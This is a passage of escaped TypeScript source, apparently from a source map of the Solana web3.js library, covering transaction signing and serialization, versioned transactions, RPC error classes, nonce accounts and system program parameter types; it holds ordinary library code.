(seen.has(key)) {\n continue;\n } else {\n seen.add(key);\n uniqueSigners.push(signer);\n }\n }\n\n const message = this._compile();\n this._partialSign(message, ...uniqueSigners);\n }\n\n /**\n * @internal\n */\n _partialSign(message: Message, ...signers: Array<Signer>) {\n const signData = message.serialize();\n signers.forEach(signer => {\n const signature = sign(signData, signer.secretKey);\n this._addSignature(signer.publicKey, toBuffer(signature));\n });\n }\n\n /**\n * Add an externally created signature to a transaction. The public key\n * must correspond to either the fee payer or a signer account in the transaction\n * instructions.\n *\n * @param {PublicKey} pubkey Public key that will be added to the transaction.\n * @param {Buffer} signature An externally created signature to add to the transaction.\n */\n addSignature(pubkey: PublicKey, signature: Buffer) {\n this._compile(); // Ensure signatures array is populated\n this._addSignature(pubkey, signature);\n }\n\n /**\n * @internal\n */\n _addSignature(pubkey: PublicKey, signature: Buffer) {\n invariant(signature.length === 64);\n\n const index = this.signatures.findIndex(sigpair =>\n pubkey.equals(sigpair.publicKey),\n );\n if (index < 0) {\n throw new Error(`unknown signer: ${pubkey.toString()}`);\n }\n\n this.signatures[index].signature = Buffer.from(signature);\n }\n\n /**\n * Verify signatures of a Transaction\n * Optional parameter specifies if we're expecting a fully signed Transaction or a partially signed one.\n * If no boolean is provided, we expect a fully signed Transaction by default.\n *\n * @param {boolean} [requireAllSignatures=true] Require a fully signed Transaction\n */\n verifySignatures(requireAllSignatures: boolean = true): boolean {\n const signatureErrors = this._getMessageSignednessErrors(\n this.serializeMessage(),\n requireAllSignatures,\n );\n return !signatureErrors;\n }\n\n /**\n * @internal\n */\n _getMessageSignednessErrors(\n message: Uint8Array,\n requireAllSignatures: boolean,\n ): MessageSignednessErrors | undefined {\n const errors: MessageSignednessErrors = {};\n for (const {signature, publicKey} of this.signatures) {\n if (signature === null) {\n if (requireAllSignatures) {\n (errors.missing ||= []).push(publicKey);\n }\n } else {\n if (!verify(signature, message, publicKey.toBytes())) {\n (errors.invalid ||= []).push(publicKey);\n }\n }\n }\n return errors.invalid || errors.missing ? errors : undefined;\n }\n\n /**\n * Serialize the Transaction in the wire format.\n *\n * @param {Buffer} [config] Config of transaction.\n *\n * @returns {Buffer} Signature of transaction in wire format.\n */\n serialize(config?: SerializeConfig): Buffer {\n const {requireAllSignatures, verifySignatures} = Object.assign(\n {requireAllSignatures: true, verifySignatures: true},\n config,\n );\n\n const signData = this.serializeMessage();\n if (verifySignatures) {\n const sigErrors = this._getMessageSignednessErrors(\n signData,\n requireAllSignatures,\n );\n if (sigErrors) {\n let errorMessage = 'Signature verification failed.';\n if (sigErrors.invalid) {\n errorMessage += `\\nInvalid signature for public key${\n sigErrors.invalid.length === 1 ? '' : '(s)'\n } [\\`${sigErrors.invalid.map(p => p.toBase58()).join('`, `')}\\`].`;\n }\n if (sigErrors.missing) {\n errorMessage += `\\nMissing signature for public key${\n sigErrors.missing.length === 1 ? '' : '(s)'\n } [\\`${sigErrors.missing.map(p => p.toBase58()).join('`, `')}\\`].`;\n }\n throw new Error(errorMessage);\n }\n }\n\n return this._serialize(signData);\n }\n\n /**\n * @internal\n */\n _serialize(signData: Buffer): Buffer {\n const {signatures} = this;\n const signatureCount: number[] = [];\n shortvec.encodeLength(signatureCount, signatures.length);\n const transactionLength =\n signatureCount.length + signatures.length * 64 + signData.length;\n const wireTransaction = Buffer.alloc(transactionLength);\n invariant(signatures.length < 256);\n Buffer.from(signatureCount).copy(wireTransaction, 0);\n signatures.forEach(({signature}, index) => {\n if (signature !== null) {\n invariant(signature.length === 64, `signature has invalid length`);\n Buffer.from(signature).copy(\n wireTransaction,\n signatureCount.length + index * 64,\n );\n }\n });\n signData.copy(\n wireTransaction,\n signatureCount.length + signatures.length * 64,\n );\n invariant(\n wireTransaction.length <= PACKET_DATA_SIZE,\n `Transaction too large: ${wireTransaction.length} > ${PACKET_DATA_SIZE}`,\n );\n return wireTransaction;\n }\n\n /**\n * Deprecated method\n * @internal\n */\n get keys(): Array<PublicKey> {\n invariant(this.instructions.length === 1);\n return this.instructions[0].keys.map(keyObj => keyObj.pubkey);\n }\n\n /**\n * Deprecated method\n * @internal\n */\n get programId(): PublicKey {\n invariant(this.instructions.length === 1);\n return this.instructions[0].programId;\n }\n\n /**\n * Deprecated method\n * @internal\n */\n get data(): Buffer {\n invariant(this.instructions.length === 1);\n return this.instructions[0].data;\n }\n\n /**\n * Parse a wire transaction into a Transaction object.\n *\n * @param {Buffer | Uint8Array | Array<number>} buffer Signature of wire Transaction\n *\n * @returns {Transaction} Transaction associated with the signature\n */\n static from(buffer: Buffer | Uint8Array | Array<number>): Transaction {\n // Slice up wire data\n let byteArray = [...buffer];\n\n const signatureCount = shortvec.decodeLength(byteArray);\n let signatures = [];\n for (let i = 0; i < signatureCount; i++) {\n const signature = guardedSplice(byteArray, 0, SIGNATURE_LENGTH_IN_BYTES);\n signatures.push(bs58.encode(Buffer.from(signature)));\n }\n\n return Transaction.populate(Message.from(byteArray), signatures);\n }\n\n /**\n * Populate Transaction object from message and signatures\n *\n * @param {Message} message Message of transaction\n * @param {Array<string>} signatures List of signatures to assign to the transaction\n *\n * @returns {Transaction} The populated Transaction\n */\n static populate(\n message: Message,\n signatures: Array<string> = [],\n ): Transaction {\n const transaction = new Transaction();\n transaction.recentBlockhash = message.recentBlockhash;\n if (message.header.numRequiredSignatures > 0) {\n transaction.feePayer = message.accountKeys[0];\n }\n signatures.forEach((signature, index) => {\n const sigPubkeyPair = {\n signature:\n signature == bs58.encode(DEFAULT_SIGNATURE)\n ? null\n : bs58.decode(signature),\n publicKey: message.accountKeys[index],\n };\n transaction.signatures.push(sigPubkeyPair);\n });\n\n message.instructions.forEach(instruction => {\n const keys = instruction.accounts.map(account => {\n const pubkey = message.accountKeys[account];\n return {\n pubkey,\n isSigner:\n transaction.signatures.some(\n keyObj => keyObj.publicKey.toString() === pubkey.toString(),\n ) || message.isAccountSigner(account),\n isWritable: message.isAccountWritable(account),\n };\n });\n\n transaction.instructions.push(\n new TransactionInstruction({\n keys,\n programId: message.accountKeys[instruction.programIdIndex],\n data: bs58.decode(instruction.data),\n }),\n );\n });\n\n transaction._message = message;\n transaction._json = transaction.toJSON();\n\n return transaction;\n }\n}\n","import {AccountKeysFromLookups} from '../message/account-keys';\nimport assert from '../utils/assert';\nimport {toBuffer} from '../utils/to-buffer';\nimport {Blockhash} from '../blockhash';\nimport {Message, MessageV0, VersionedMessage} from '../message';\nimport {PublicKey} from '../publickey';\nimport {AddressLookupTableAccount} from '../programs';\nimport {AccountMeta, TransactionInstruction} from './legacy';\n\nexport type TransactionMessageArgs = {\n payerKey: PublicKey;\n instructions: Array<TransactionInstruction>;\n recentBlockhash: Blockhash;\n};\n\nexport type DecompileArgs =\n | {\n accountKeysFromLookups: AccountKeysFromLookups;\n }\n | {\n addressLookupTableAccounts: AddressLookupTableAccount[];\n };\n\nexport class TransactionMessage {\n payerKey: PublicKey;\n instructions: Array<TransactionInstruction>;\n recentBlockhash: Blockhash;\n\n constructor(args: TransactionMessageArgs) {\n this.payerKey = args.payerKey;\n this.instructions = args.instructions;\n this.recentBlockhash = args.recentBlockhash;\n }\n\n static decompile(\n message: VersionedMessage,\n args?: DecompileArgs,\n ): TransactionMessage {\n const {header, compiledInstructions, recentBlockhash} = message;\n\n const {\n numRequiredSignatures,\n numReadonlySignedAccounts,\n numReadonlyUnsignedAccounts,\n } = header;\n\n const numWritableSignedAccounts =\n numRequiredSignatures - numReadonlySignedAccounts;\n assert(numWritableSignedAccounts > 0, 'Message header is invalid');\n\n const numWritableUnsignedAccounts =\n message.staticAccountKeys.length -\n numRequiredSignatures -\n numReadonlyUnsignedAccounts;\n assert(numWritableUnsignedAccounts >= 0, 'Message header is invalid');\n\n const accountKeys = message.getAccountKeys(args);\n const payerKey = accountKeys.get(0);\n if (payerKey === undefined) {\n throw new Error(\n 'Failed to decompile message because no account keys were found',\n );\n }\n\n const instructions: TransactionInstruction[] = [];\n for (const compiledIx of compiledInstructions) {\n const keys: AccountMeta[] = [];\n\n for (const keyIndex of compiledIx.accountKeyIndexes) {\n const pubkey = accountKeys.get(keyIndex);\n if (pubkey === undefined) {\n throw new Error(\n `Failed to find key for account key index ${keyIndex}`,\n );\n }\n\n const isSigner = keyIndex < numRequiredSignatures;\n\n let isWritable;\n if (isSigner) {\n isWritable = keyIndex < numWritableSignedAccounts;\n } else if (keyIndex < accountKeys.staticAccountKeys.length) {\n isWritable =\n keyIndex - numRequiredSignatures < numWritableUnsignedAccounts;\n } else {\n isWritable =\n keyIndex - accountKeys.staticAccountKeys.length <\n // accountKeysFromLookups cannot be undefined because we already found a pubkey for this index above\n accountKeys.accountKeysFromLookups!.writable.length;\n }\n\n keys.push({\n pubkey,\n isSigner: keyIndex < header.numRequiredSignatures,\n isWritable,\n });\n }\n\n const programId = accountKeys.get(compiledIx.programIdIndex);\n if (programId === undefined) {\n throw new Error(\n `Failed to find program id for program id index ${compiledIx.programIdIndex}`,\n );\n }\n\n instructions.push(\n new TransactionInstruction({\n programId,\n data: toBuffer(compiledIx.data),\n keys,\n }),\n );\n }\n\n return new TransactionMessage({\n payerKey,\n instructions,\n recentBlockhash,\n });\n }\n\n compileToLegacyMessage(): Message {\n return Message.compile({\n payerKey: this.payerKey,\n recentBlockhash: this.recentBlockhash,\n instructions: this.instructions,\n });\n }\n\n compileToV0Message(\n addressLookupTableAccounts?: AddressLookupTableAccount[],\n ): MessageV0 {\n return MessageV0.compile({\n payerKey: this.payerKey,\n recentBlockhash: this.recentBlockhash,\n instructions: this.instructions,\n addressLookupTableAccounts,\n });\n }\n}\n","import * as BufferLayout from '@solana/buffer-layout';\n\nimport {Signer} from '../keypair';\nimport assert from '../utils/assert';\nimport {VersionedMessage} from '../message/versioned';\nimport {SIGNATURE_LENGTH_IN_BYTES} from './constants';\nimport * as shortvec from '../utils/shortvec-encoding';\nimport * as Layout from '../layout';\nimport {sign} from '../utils/ed25519';\nimport {PublicKey} from '../publickey';\nimport {guardedSplice} from '../utils/guarded-array-utils';\n\nexport type TransactionVersion = 'legacy' | 0;\n\n/**\n * Versioned transaction class\n */\nexport class VersionedTransaction {\n signatures: Array<Uint8Array>;\n message: VersionedMessage;\n\n get version(): TransactionVersion {\n return this.message.version;\n }\n\n constructor(message: VersionedMessage, signatures?: Array<Uint8Array>) {\n if (signatures !== undefined) {\n assert(\n signatures.length === message.header.numRequiredSignatures,\n 'Expected signatures length to be equal to the number of required signatures',\n );\n this.signatures = signatures;\n } else {\n const defaultSignatures = [];\n for (let i = 0; i < message.header.numRequiredSignatures; i++) {\n defaultSignatures.push(new Uint8Array(SIGNATURE_LENGTH_IN_BYTES));\n }\n this.signatures = defaultSignatures;\n }\n this.message = message;\n }\n\n serialize(): Uint8Array {\n const serializedMessage = this.message.serialize();\n\n const encodedSignaturesLength = Array<number>();\n shortvec.encodeLength(encodedSignaturesLength, this.signatures.length);\n\n const transactionLayout = BufferLayout.struct<{\n encodedSignaturesLength: Uint8Array;\n signatures: Array<Uint8Array>;\n serializedMessage: Uint8Array;\n }>([\n BufferLayout.blob(\n encodedSignaturesLength.length,\n 'encodedSignaturesLength',\n ),\n BufferLayout.seq(\n Layout.signature(),\n this.signatures.length,\n 'signatures',\n ),\n BufferLayout.blob(serializedMessage.length, 'serializedMessage'),\n ]);\n\n const serializedTransaction = new Uint8Array(2048);\n const serializedTransactionLength = transactionLayout.encode(\n {\n encodedSignaturesLength: new Uint8Array(encodedSignaturesLength),\n signatures: this.signatures,\n serializedMessage,\n },\n serializedTransaction,\n );\n\n return serializedTransaction.slice(0, serializedTransactionLength);\n }\n\n static deserialize(serializedTransaction: Uint8Array): VersionedTransaction {\n let byteArray = [...serializedTransaction];\n\n const signatures = [];\n const signaturesLength = shortvec.decodeLength(byteArray);\n for (let i = 0; i < signaturesLength; i++) {\n signatures.push(\n new Uint8Array(guardedSplice(byteArray, 0, SIGNATURE_LENGTH_IN_BYTES)),\n );\n }\n\n const message = VersionedMessage.deserialize(new Uint8Array(byteArray));\n return new VersionedTransaction(message, signatures);\n }\n\n sign(signers: Array<Signer>) {\n const messageData = this.message.serialize();\n const signerPubkeys = this.message.staticAccountKeys.slice(\n 0,\n this.message.header.numRequiredSignatures,\n );\n for (const signer of signers) {\n const signerIndex = signerPubkeys.findIndex(pubkey =>\n pubkey.equals(signer.publicKey),\n );\n assert(\n signerIndex >= 0,\n `Cannot sign with non signer key ${signer.publicKey.toBase58()}`,\n );\n this.signatures[signerIndex] = sign(messageData, signer.secretKey);\n }\n }\n\n addSignature(publicKey: PublicKey, signature: Uint8Array) {\n assert(signature.byteLength === 64, 'Signature must be 64 bytes long');\n const signerPubkeys = this.message.staticAccountKeys.slice(\n 0,\n this.message.header.numRequiredSignatures,\n );\n const signerIndex = signerPubkeys.findIndex(pubkey =>\n pubkey.equals(publicKey),\n );\n assert(\n signerIndex >= 0,\n `Can not add signature; \\`${publicKey.toBase58()}\\` is not required to sign this transaction`,\n );\n this.signatures[signerIndex] = signature;\n }\n}\n","// TODO: These constants should be removed in favor of reading them out of a\n// Syscall account\n\n/**\n * @internal\n */\nexport const NUM_TICKS_PER_SECOND = 160;\n\n/**\n * @internal\n */\nexport const DEFAULT_TICKS_PER_SLOT = 64;\n\n/**\n * @internal\n */\nexport const NUM_SLOTS_PER_SECOND =\n NUM_TICKS_PER_SECOND / DEFAULT_TICKS_PER_SLOT;\n\n/**\n * @internal\n */\nexport const MS_PER_SLOT = 1000 / NUM_SLOTS_PER_SECOND;\n","import {PublicKey} from './publickey';\n\nexport const SYSVAR_CLOCK_PUBKEY = new PublicKey(\n 'SysvarC1ock11111111111111111111111111111111',\n);\n\nexport const SYSVAR_EPOCH_SCHEDULE_PUBKEY = new PublicKey(\n 'SysvarEpochSchedu1e111111111111111111111111',\n);\n\nexport const SYSVAR_INSTRUCTIONS_PUBKEY = new PublicKey(\n 'Sysvar1nstructions1111111111111111111111111',\n);\n\nexport const SYSVAR_RECENT_BLOCKHASHES_PUBKEY = new PublicKey(\n 'SysvarRecentB1ockHashes11111111111111111111',\n);\n\nexport const SYSVAR_RENT_PUBKEY = new PublicKey(\n 'SysvarRent111111111111111111111111111111111',\n);\n\nexport const SYSVAR_REWARDS_PUBKEY = new PublicKey(\n 'SysvarRewards111111111111111111111111111111',\n);\n\nexport const SYSVAR_SLOT_HASHES_PUBKEY = new PublicKey(\n 'SysvarS1otHashes111111111111111111111111111',\n);\n\nexport const SYSVAR_SLOT_HISTORY_PUBKEY = new PublicKey(\n 'SysvarS1otHistory11111111111111111111111111',\n);\n\nexport const SYSVAR_STAKE_HISTORY_PUBKEY = new PublicKey(\n 'SysvarStakeHistory1111111111111111111111111',\n);\n","import {Connection} from './connection';\nimport {TransactionSignature} from './transaction';\n\nexport class SendTransactionError extends Error {\n private signature: TransactionSignature;\n private transactionMessage: string;\n private transactionLogs: string[] | Promise<string[]> | undefined;\n\n constructor({\n action,\n signature,\n transactionMessage,\n logs,\n }: {\n action: 'send' | 'simulate';\n signature: TransactionSignature;\n transactionMessage: string;\n logs?: string[];\n }) {\n const maybeLogsOutput = logs\n ? `Logs: \\n${JSON.stringify(logs.slice(-10), null, 2)}. `\n : '';\n const guideText =\n '\\nCatch the `SendTransactionError` and call `getLogs()` on it for full details.';\n let message: string;\n switch (action) {\n case 'send':\n message =\n `Transaction ${signature} resulted in an error. \\n` +\n `${transactionMessage}. ` +\n maybeLogsOutput +\n guideText;\n break;\n case 'simulate':\n message =\n `Simulation failed. \\nMessage: ${transactionMessage}. \\n` +\n maybeLogsOutput +\n guideText;\n break;\n default: {\n message = `Unknown action '${((a: never) => a)(action)}'`;\n }\n }\n super(message);\n\n this.signature = signature;\n this.transactionMessage = transactionMessage;\n this.transactionLogs = logs ? logs : undefined;\n }\n\n get transactionError(): {message: string; logs?: string[]} {\n return {\n message: this.transactionMessage,\n logs: Array.isArray(this.transactionLogs)\n ? this.transactionLogs\n : undefined,\n };\n }\n\n /* @deprecated Use `await getLogs()` instead */\n get logs(): string[] | undefined {\n const cachedLogs = this.transactionLogs;\n if (\n cachedLogs != null &&\n typeof cachedLogs === 'object' &&\n 'then' in cachedLogs\n ) {\n return undefined;\n }\n return cachedLogs;\n }\n\n async getLogs(connection: Connection): Promise<string[]> {\n if (!Array.isArray(this.transactionLogs)) {\n this.transactionLogs = new Promise((resolve, reject) => {\n connection\n .getTransaction(this.signature)\n .then(tx => {\n if (tx && tx.meta && tx.meta.logMessages) {\n const logs = tx.meta.logMessages;\n this.transactionLogs = logs;\n resolve(logs);\n } else {\n reject(new Error('Log messages not found'));\n }\n })\n .catch(reject);\n });\n }\n return await this.transactionLogs;\n }\n}\n\n// Keep in sync with client/src/rpc_custom_errors.rs\n// Typescript `enums` thwart tree-shaking. See https://bargsten.org/jsts/enums/\nexport const SolanaJSONRPCErrorCode = {\n JSON_RPC_SERVER_ERROR_BLOCK_CLEANED_UP: -32001,\n JSON_RPC_SERVER_ERROR_SEND_TRANSACTION_PREFLIGHT_FAILURE: -32002,\n JSON_RPC_SERVER_ERROR_TRANSACTION_SIGNATURE_VERIFICATION_FAILURE: -32003,\n JSON_RPC_SERVER_ERROR_BLOCK_NOT_AVAILABLE: -32004,\n JSON_RPC_SERVER_ERROR_NODE_UNHEALTHY: -32005,\n JSON_RPC_SERVER_ERROR_TRANSACTION_PRECOMPILE_VERIFICATION_FAILURE: -32006,\n JSON_RPC_SERVER_ERROR_SLOT_SKIPPED: -32007,\n JSON_RPC_SERVER_ERROR_NO_SNAPSHOT: -32008,\n JSON_RPC_SERVER_ERROR_LONG_TERM_STORAGE_SLOT_SKIPPED: -32009,\n JSON_RPC_SERVER_ERROR_KEY_EXCLUDED_FROM_SECONDARY_INDEX: -32010,\n JSON_RPC_SERVER_ERROR_TRANSACTION_HISTORY_NOT_AVAILABLE: -32011,\n JSON_RPC_SCAN_ERROR: -32012,\n JSON_RPC_SERVER_ERROR_TRANSACTION_SIGNATURE_LEN_MISMATCH: -32013,\n JSON_RPC_SERVER_ERROR_BLOCK_STATUS_NOT_AVAILABLE_YET: -32014,\n JSON_RPC_SERVER_ERROR_UNSUPPORTED_TRANSACTION_VERSION: -32015,\n JSON_RPC_SERVER_ERROR_MIN_CONTEXT_SLOT_NOT_REACHED: -32016,\n} as const;\nexport type SolanaJSONRPCErrorCodeEnum =\n (typeof SolanaJSONRPCErrorCode)[keyof typeof SolanaJSONRPCErrorCode];\n\nexport class SolanaJSONRPCError extends Error {\n code: SolanaJSONRPCErrorCodeEnum | unknown;\n data?: any;\n constructor(\n {\n code,\n message,\n data,\n }: Readonly<{code: unknown; message: string; data?: any}>,\n customMessage?: string,\n ) {\n super(customMessage != null ? `${customMessage}: ${message}` : message);\n this.code = code;\n this.data = data;\n this.name = 'SolanaJSONRPCError';\n }\n}\n","import {Connection, SignatureResult} from '../connection';\nimport {Transaction} from '../transaction';\nimport type {ConfirmOptions} from '../connection';\nimport type {Signer} from '../keypair';\nimport type {TransactionSignature} from '../transaction';\nimport {SendTransactionError} from '../errors';\n\n/**\n * Sign, send and confirm a transaction.\n *\n * If `commitment` option is not specified, defaults to 'max' commitment.\n *\n * @param {Connection} connection\n * @param {Transaction} transaction\n * @param {Array<Signer>} signers\n * @param {ConfirmOptions} [options]\n * @returns {Promise<TransactionSignature>}\n */\nexport async function sendAndConfirmTransaction(\n connection: Connection,\n transaction: Transaction,\n signers: Array<Signer>,\n options?: ConfirmOptions &\n Readonly<{\n // A signal that, when aborted, cancels any outstanding transaction confirmation operations\n abortSignal?: AbortSignal;\n }>,\n): Promise<TransactionSignature> {\n const sendOptions = options && {\n skipPreflight: options.skipPreflight,\n preflightCommitment: options.preflightCommitment || options.commitment,\n maxRetries: options.maxRetries,\n minContextSlot: options.minContextSlot,\n };\n\n const signature = await connection.sendTransaction(\n transaction,\n signers,\n sendOptions,\n );\n\n let status: SignatureResult;\n if (\n transaction.recentBlockhash != null &&\n transaction.lastValidBlockHeight != null\n ) {\n status = (\n await connection.confirmTransaction(\n {\n abortSignal: options?.abortSignal,\n signature: signature,\n blockhash: transaction.recentBlockhash,\n lastValidBlockHeight: transaction.lastValidBlockHeight,\n },\n options && options.commitment,\n )\n ).value;\n } else if (\n transaction.minNonceContextSlot != null &&\n transaction.nonceInfo != null\n ) {\n const {nonceInstruction} = transaction.nonceInfo;\n const nonceAccountPubkey = nonceInstruction.keys[0].pubkey;\n status = (\n await connection.confirmTransaction(\n {\n abortSignal: options?.abortSignal,\n minContextSlot: transaction.minNonceContextSlot,\n nonceAccountPubkey,\n nonceValue: transaction.nonceInfo.nonce,\n signature,\n },\n options && options.commitment,\n )\n ).value;\n } else {\n if (options?.abortSignal != null) {\n console.warn(\n 'sendAndConfirmTransaction(): A transaction with a deprecated confirmation strategy was ' +\n 'supplied along with an `abortSignal`. Only transactions having `lastValidBlockHeight` ' +\n 'or a combination of `nonceInfo` and `minNonceContextSlot` are abortable.',\n );\n }\n status = (\n await connection.confirmTransaction(\n signature,\n options && options.commitment,\n )\n ).value;\n }\n\n if (status.err) {\n if (signature != null) {\n throw new SendTransactionError({\n action: 'send',\n signature: signature,\n transactionMessage: `Status: (${JSON.stringify(status)})`,\n });\n }\n throw new Error(\n `Transaction ${signature} failed (${JSON.stringify(status)})`,\n );\n }\n\n return signature;\n}\n","// zzz\nexport function sleep(ms: number): Promise<void> {\n return new Promise(resolve => setTimeout(resolve, ms));\n}\n","import {Buffer} from 'buffer';\nimport * as BufferLayout from '@solana/buffer-layout';\n\nimport * as Layout from './layout';\n\nexport interface IInstructionInputData {\n readonly instruction: number;\n}\n\n/**\n * @internal\n */\nexport type InstructionType<TInputData extends IInstructionInputData> = {\n /** The Instruction index (from solana upstream program) */\n index: number;\n /** The BufferLayout to use to build data */\n layout: BufferLayout.Layout<TInputData>;\n};\n\n/**\n * Populate a buffer of instruction data using an InstructionType\n * @internal\n */\nexport function encodeData<TInputData extends IInstructionInputData>(\n type: InstructionType<TInputData>,\n fields?: any,\n): Buffer {\n const allocLength =\n type.layout.span >= 0 ? type.layout.span : Layout.getAlloc(type, fields);\n const data = Buffer.alloc(allocLength);\n const layoutFields = Object.assign({instruction: type.index}, fields);\n type.layout.encode(layoutFields, data);\n return data;\n}\n\n/**\n * Decode instruction data buffer using an InstructionType\n * @internal\n */\nexport function decodeData<TInputData extends IInstructionInputData>(\n type: InstructionType<TInputData>,\n buffer: Buffer,\n): TInputData {\n let data: TInputData;\n try {\n data = type.layout.decode(buffer);\n } catch (err) {\n throw new Error('invalid instruction; ' + err);\n }\n\n if (data.instruction !== type.index) {\n throw new Error(\n `invalid instruction; instruction index mismatch ${data.instruction} != ${type.index}`,\n );\n }\n\n return data;\n}\n","import * as BufferLayout from '@solana/buffer-layout';\n\n/**\n * https://github.com/solana-labs/solana/blob/90bedd7e067b5b8f3ddbb45da00a4e9cabb22c62/sdk/src/fee_calculator.rs#L7-L11\n *\n * @internal\n */\nexport const FeeCalculatorLayout = BufferLayout.nu64('lamportsPerSignature');\n\n/**\n * Calculator for transaction fees.\n *\n * @deprecated Deprecated since Solana v1.8.0.\n */\nexport interface FeeCalculator {\n /** Cost in lamports to validate a signature. */\n lamportsPerSignature: number;\n}\n","import * as BufferLayout from '@solana/buffer-layout';\nimport {Buffer} from 'buffer';\n\nimport * as Layout from './layout';\nimport {PublicKey} from './publickey';\nimport type {FeeCalculator} from './fee-calculator';\nimport {FeeCalculatorLayout} from './fee-calculator';\nimport {toBuffer} from './utils/to-buffer';\n\n/**\n * See https://github.com/solana-labs/solana/blob/0ea2843ec9cdc517572b8e62c959f41b55cf4453/sdk/src/nonce_state.rs#L29-L32\n *\n * @internal\n */\nconst NonceAccountLayout = BufferLayout.struct<\n Readonly<{\n authorizedPubkey: Uint8Array;\n feeCalculator: Readonly<{\n lamportsPerSignature: number;\n }>;\n nonce: Uint8Array;\n state: number;\n version: number;\n }>\n>([\n BufferLayout.u32('version'),\n BufferLayout.u32('state'),\n Layout.publicKey('authorizedPubkey'),\n Layout.publicKey('nonce'),\n BufferLayout.struct<Readonly<{lamportsPerSignature: number}>>(\n [FeeCalculatorLayout],\n 'feeCalculator',\n ),\n]);\n\nexport const NONCE_ACCOUNT_LENGTH = NonceAccountLayout.span;\n\n/**\n * A durable nonce is a 32 byte value encoded as a base58 string.\n */\nexport type DurableNonce = string;\n\ntype NonceAccountArgs = {\n authorizedPubkey: PublicKey;\n nonce: DurableNonce;\n feeCalculator: FeeCalculator;\n};\n\n/**\n * NonceAccount class\n */\nexport class NonceAccount {\n authorizedPubkey: PublicKey;\n nonce: DurableNonce;\n feeCalculator: FeeCalculator;\n\n /**\n * @internal\n */\n constructor(args: NonceAccountArgs) {\n this.authorizedPubkey = args.authorizedPubkey;\n this.nonce = args.nonce;\n this.feeCalculator = args.feeCalculator;\n }\n\n /**\n * Deserialize NonceAccount from the account data.\n *\n * @param buffer account data\n * @return NonceAccount\n */\n static fromAccountData(\n buffer: Buffer | Uint8Array | Array<number>,\n ): NonceAccount {\n const nonceAccount = NonceAccountLayout.decode(toBuffer(buffer), 0);\n return new NonceAccount({\n authorizedPubkey: new PublicKey(nonceAccount.authorizedPubkey),\n nonce: new PublicKey(nonceAccount.nonce).toString(),\n feeCalculator: nonceAccount.feeCalculator,\n });\n }\n}\n","import {Buffer} from 'buffer';\nimport {blob, Layout} from '@solana/buffer-layout';\nimport {toBigIntLE, toBufferLE} from 'bigint-buffer';\n\ninterface EncodeDecode<T> {\n decode(buffer: Buffer, offset?: number): T;\n encode(src: T, buffer: Buffer, offset?: number): number;\n}\n\nconst encodeDecode = <T>(layout: Layout<T>): EncodeDecode<T> => {\n const decode = layout.decode.bind(layout);\n const encode = layout.encode.bind(layout);\n return {decode, encode};\n};\n\nconst bigInt =\n (length: number) =>\n (property?: string): Layout<bigint> => {\n const layout = blob(length, property);\n const {encode, decode} = encodeDecode(layout);\n\n const bigIntLayout = layout as Layout<unknown> as Layout<bigint>;\n\n bigIntLayout.decode = (buffer: Buffer, offset: number) => {\n const src = decode(buffer, offset);\n return toBigIntLE(Buffer.from(src));\n };\n\n bigIntLayout.encode = (bigInt: bigint, buffer: Buffer, offset: number) => {\n const src = toBufferLE(bigInt, length);\n return encode(src, buffer, offset);\n };\n\n return bigIntLayout;\n };\n\nexport const u64 = bigInt(8);\n\nexport const u128 = bigInt(16);\n\nexport const u192 = bigInt(24);\n\nexport const u256 = bigInt(32);\n","import * as BufferLayout from '@solana/buffer-layout';\n\nimport {\n encodeData,\n decodeData,\n InstructionType,\n IInstructionInputData,\n} from '../instruction';\nimport * as Layout from '../layout';\nimport {NONCE_ACCOUNT_LENGTH} from '../nonce-account';\nimport {PublicKey} from '../publickey';\nimport {SYSVAR_RECENT_BLOCKHASHES_PUBKEY, SYSVAR_RENT_PUBKEY} from '../sysvar';\nimport {Transaction, TransactionInstruction} from '../transaction';\nimport {toBuffer} from '../utils/to-buffer';\nimport {u64} from '../utils/bigint';\n\n/**\n * Create account system transaction params\n */\nexport type CreateAccountParams = {\n /** The account that will transfer lamports to the created account */\n fromPubkey: PublicKey;\n /** Public key of the created account */\n newAccountPubkey: PublicKey;\n /** Amount of lamports to transfer to the created account */\n lamports: number;\n /** Amount of space in bytes to allocate to the created account */\n space: number;\n /** Public key of the program to assign as the owner of the created account */\n programId: PublicKey;\n};\n\n/**\n * Transfer system transaction params\n */\nexport type TransferParams = {\n /** Account that will transfer lamports */\n fromPubkey: PublicKey;\n /** Account that will receive transferred lamports */\n toPubkey: PublicKey;\n /** Amount of lamports to transfer */\n lamports: number | bigint;\n};\n\n/**\n * Assign system transaction params\n */\nexport type AssignParams = {\n /** Public key of the account which will be assigned a new owner */\n accountPubkey: PublicKey;\n /** Public key of the program to assign as the owner */\n programId: PublicKey;\n};\n\n/**\n * Create account with seed system transaction params\n */\nexport type CreateAccountWithSeedParams = {\n /** The account that will transfer lamports to the created account */\n fromPubkey: PublicKey;\n /** Public key of the created account. Must be pre-calculated with PublicKey.createWithSeed() */\n newAccountPubkey: PublicKey;\n /** Base public key to use to derive the address of the created account. Must be the same as the base key used to create `newAccountPubkey` */\n basePubkey: PublicKey;\n /** Seed to use to derive the address of the created account. Must be the same as the seed used to create `newAccountPubkey` */\n seed: string;\n /** Amount of lamports to transfer to the created account */\n lamports: number;\n /** Amount of space in bytes to allocate to the created account */\n space: number;\n /** Public key of the program to assign as the owner of the created account */\n programId: PublicKey;\n};\n\n/**\n * Create nonce account system transaction params\n */\nexport type CreateNonceAccountParams = {\n /** The account that will transfer lamports to the created nonce account */\n fromPubkey: PublicKey;\n /** Public key of the created nonce account */\n noncePubkey: PublicKey;\n /** Public key to set as authority of the created nonce account */\n authorizedPubkey: PublicKey;\n /** Amount of lamports to transfer to the created nonce account */\n lamports: number;\n};\n\n/**\n * Create nonce account with seed system transaction params\n */\nexport type CreateNonceAccountWithSeedParams = {\n /** The account that will transfer lamports to the created nonce account */\n fromPubkey: PublicKey;\n /** Public key of the created nonce account */\n noncePubkey: PublicKey;\n /** Public key to set as authority of the created nonce account */\n authorizedPubkey: PublicKey;\n /** Amount of lamports to transfer to the created nonce account */\n lamports: number;\n /** Base public key to use to derive the address of the nonce account */\n basePubkey: PublicKey;\n /** Seed to use to derive the address of the nonce account */\n seed: string;\n};\n\n/**\n * Initialize nonce account system instruction params\n */\nexport type InitializeNonceParams = {\n /** Nonce account which will be initialized */\n noncePubkey: PublicKey;\n /** Public key to set as authority of the initialized nonce account */\n authorizedPubkey: PublicKey;\n};\n\n/**\n * Advance nonce account system instruction params\n */\nexport type AdvanceNonceParams = {\n /** Nonce account */\n noncePubkey: PublicKey;\n /** Public key of the nonce authority */\n authorizedPubkey: PublicKey;\n};\n\n/**\n * Withdraw nonce account system transaction 